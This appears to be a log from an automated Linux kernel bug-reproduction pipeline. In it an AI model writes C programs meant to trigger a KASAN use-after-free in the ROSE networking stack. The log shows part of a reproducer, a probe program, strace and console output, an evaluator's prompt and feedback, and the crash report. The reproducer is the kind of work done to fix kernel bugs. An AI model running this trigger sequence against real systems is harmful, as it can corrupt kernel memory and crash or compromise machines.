    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer expires before t0timer
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 1000);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 2000);

    // 5. Create ROSE socket
    int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);

    // 6. Bind to rose0 address
    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;
    bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 7. Add ROSE route
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);

    // 8. Connect to the route (non-blocking)
    fcntl(rsock, F_SETFL, O_NONBLOCK);
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 2;
    saddr.srose_ndigis = 0;
    connect(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 9. Delete the route (stops t0timer, drops routing refcount)
    ioctl(rsock, SIOCDELRT, &route);

    // 10. Close the socket (restarts t0timer, starts t3timer)
    close(rsock);

    // 11. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(3);

    return 0;
}
```
NeedProbe: true

gemini-3.1-pro-preview

							input: 12698
							output: 391
							thoughts: 258
						

**Reproducing the KASAN Slab-Use-After-Free in `rose_send_frame`**

Okay, let's get down to brass tacks. We've got a detailed bug report and a suggested strategy for a KASAN slab-use-after-free within `rose_send_frame`. My expertise tells me this is likely due to a race condition or some subtle memory management issue within the ROSE networking code, and a minimal reproducer is absolutely key to nailing this down. The user's proposed strategy is a good starting point, we'll need to work step-by-step to be sure.

The steps involve setting up a very specific network topology involving AX.25 and ROSE. We're going to:

1.  Create an AX.25 device (`ax0`) using `mkiss`.
2.  Bring up the default ROSE device (`rose0`) with a hardware address.
3.  Tweak the system configuration with the `clear_request_timeout` and `restart_request_timeout` sysctls to manage timeouts.
4.  Construct a ROSE socket and bind it.
5.  Add a ROSE route, which is where things usually start getting interesting in the ROSE networking world.
6.  Connect to that route in a non-blocking manner.
7.  Delete that route.
8.  Close the socket to clean everything up.
9.  Then we patiently wait for any timers to expire. We'll need to carefully watch the kernel output here for any hints.

Before we even start writing the reproducer, we have to ensure the environment actually *supports* the necessary components. I'm thinking, "Let's start with a probe program." It needs to verify that AX.25 and ROSE are both present and working, or we're just wasting our time. I'll need to:

*   Attempt to open `/dev/ptmx` and set the line discipline to `N_AX25` (5) using `TIOCSETD`. That's a good first check for AX.25 support.
*   Then, I'll try to create a socket of type `AF_ROSE`. If both of these succeed, it's safe to say we can start building the reproducer with confidence.

So, let's start coding that probe, shall we?

map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

map[CompilerError:]

map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[  120.102615][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  120.102631][   T33] audit: type=1400 audit(1779795707.670:106): avc:  denied  { create } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.122596][   T33] audit: type=1400 audit(1779795707.670:107): avc:  denied  { write open } for  pid=6027 comm="dhcpcd-run-hook" path="/run/dhcpcd/hook-state/resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.142598][   T33] audit: type=1400 audit(1779795707.670:108): avc:  denied  { append } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.163130][   T33] audit: type=1400 audit(1779795707.680:109): avc:  denied  { getattr } for  pid=6027 comm="dhcpcd-run-hook" path="/tmp/resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.181508][   T33] audit: type=1400 audit(1779795707.740:110): avc:  denied  { read } for  pid=6029 comm="cmp" name="resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.252733][   T33] audit: type=1400 audit(1779795707.820:111): avc:  denied  { unlink } for  pid=6030 comm="rm" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
Warning: Permanently added '[localhost]:34860' (ED25519) to the list of known hosts.
[  126.193788][ T6090] mkiss: ax0: crc mode is auto.
[  126.200830][   T33] audit: type=1400 audit(1779795713.770:112): avc:  denied  { create } for  pid=6090 comm="syz-executor110" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1866481479

<...>
Warning: Permanently added '[localhost]:65212' (ED25519) to the list of known hosts.
execve("/syz-executor1866481479", ["/syz-executor1866481479"], 0x7ffe9c667560 /* 11 vars */) = 0
brk(NULL)                               = 0x555569472000
brk(0x555569472d80)                     = 0x555569472d80
arch_prctl(ARCH_SET_FS, 0x555569472400) = 0
set_tid_address(0x5555694726d0)         = 6106
set_robust_list(0x5555694726e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1866481479", 4096) = 23
getrandom("\x02\x39\xc7\x34\xbb\xc1\xd2\x7e", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555569472d80
brk(0x555569493d80)                     = 0x555569493d80
brk(0x555569494000)                     = 0x555569494000
mprotect(0x7f93ff7e4000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  130.003267][ T6106] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  130.025939][   T33] audit: type=1400 audit(1779795873.843:106): avc:  denied  { create } for  pid=6106 comm="syz-executor186" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  130.041302][   T33] audit: type=1400 audit(1779795873.853:107): avc:  denied  { read } for  pid=5545 comm="dhcpcd" name="n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
write(1, "[*] Starting probe...\n[+] Opened /dev/ptmx.\n[+] Set TIOCSETD to N_AX25.\n[+] Created AF_ROSE socket.\n"..., 122) = 122
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
[  130.054411][   T33] audit: type=1400 audit(1779795873.853:108): avc:  denied  { open } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
exit_group(0)                           = ?
[  130.070818][   T33] audit: type=1400 audit(1779795873.853:109): avc:  denied  { getattr } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
+++ exited with 0 +++
[  139.238486][ T1364] ieee802154 phy0 wpan0: encryption failed: -22
[  139.242649][ T1364] ieee802154 phy1 wpan1: encryption failed: -22
 TestError:]

map[TruncatedConsoleOutput:[  120.102615][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  120.102631][   T33] audit: type=1400 audit(1779795707.670:106): avc:  denied  { create } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.122596][   T33] audit: type=1400 audit(1779795707.670:107): avc:  denied  { write open } for  pid=6027 comm="dhcpcd-run-hook" path="/run/dhcpcd/hook-state/resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.142598][   T33] audit: type=1400 audit(1779795707.670:108): avc:  denied  { append } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.163130][   T33] audit: type=1400 audit(1779795707.680:109): avc:  denied  { getattr } for  pid=6027 comm="dhcpcd-run-hook" path="/tmp/resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.181508][   T33] audit: type=1400 audit(1779795707.740:110): avc:  denied  { read } for  pid=6029 comm="cmp" name="resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.252733][   T33] audit: type=1400 audit(1779795707.820:111): avc:  denied  { unlink } for  pid=6030 comm="rm" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
Warning: Permanently added '[localhost]:34860' (ED25519) to the list of known hosts.
[  126.193788][ T6090] mkiss: ax0: crc mode is auto.
[  126.200830][   T33] audit: type=1400 audit(1779795713.770:112): avc:  denied  { create } for  pid=6090 comm="syz-executor110" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1866481479

<...>
Warning: Permanently added '[localhost]:65212' (ED25519) to the list of known hosts.
execve("/syz-executor1866481479", ["/syz-executor1866481479"], 0x7ffe9c667560 /* 11 vars */) = 0
brk(NULL)                               = 0x555569472000
brk(0x555569472d80)                     = 0x555569472d80
arch_prctl(ARCH_SET_FS, 0x555569472400) = 0
set_tid_address(0x5555694726d0)         = 6106
set_robust_list(0x5555694726e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1866481479", 4096) = 23
getrandom("\x02\x39\xc7\x34\xbb\xc1\xd2\x7e", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555569472d80
brk(0x555569493d80)                     = 0x555569493d80
brk(0x555569494000)                     = 0x555569494000
mprotect(0x7f93ff7e4000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  130.003267][ T6106] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  130.025939][   T33] audit: type=1400 audit(1779795873.843:106): avc:  denied  { create } for  pid=6106 comm="syz-executor186" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  130.041302][   T33] audit: type=1400 audit(1779795873.853:107): avc:  denied  { read } for  pid=5545 comm="dhcpcd" name="n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
write(1, "[*] Starting probe...\n[+] Opened /dev/ptmx.\n[+] Set TIOCSETD to N_AX25.\n[+] Created AF_ROSE socket.\n"..., 122) = 122
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
[  130.054411][   T33] audit: type=1400 audit(1779795873.853:108): avc:  denied  { open } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
exit_group(0)                           = ?
[  130.070818][   T33] audit: type=1400 audit(1779795873.853:109): avc:  denied  { getattr } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
+++ exited with 0 +++
[  139.238486][ T1364] ieee802154 phy0 wpan0: encryption failed: -22
[  139.242649][ T1364] ieee802154 phy1 wpan1: encryption failed: -22
]

gemini-3.1-pro-preview

map[Feedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame. TitleMatches:false]

You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.

Critical Diagnostic Rule:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.

The input variable 'IsProbe' indicates whether the executed program was a simple environment
probe (true) or a full reproducer candidate (false).
Use this to guide your classification and feedback:

1. If 'IsProbe' is true:
   - If the execution was successful (all environment/subsystem probes passed), provide feedback
     explicitly indicating that the environment is ready and the agent should now proceed to
     generate the full reproducer in the next iteration.
   - If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
     explain what failed so the generator can adjust its environment setups.

2. If 'IsProbe' is false:
   - If a crash was triggered (Reproduced is true):
     - Determine if the triggered crash matches the expected bug.
     - If you conclude they represent the same underlying bug (the same root cause)
       despite different titles, crash signatures, or call traces, set TitleMatches
       to true and provide a detailed, technical, and verbose explanation of the
       equivalence in the 'Feedback' field.
     - If they do not represent the same bug (a completely unrelated crash/collision),
        set TitleMatches to false and explain the collision in 'Feedback'.
     - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
   - If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
     - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
       to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
       and provide feedback on how to improve the reproducer logic to trigger the crash.

If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
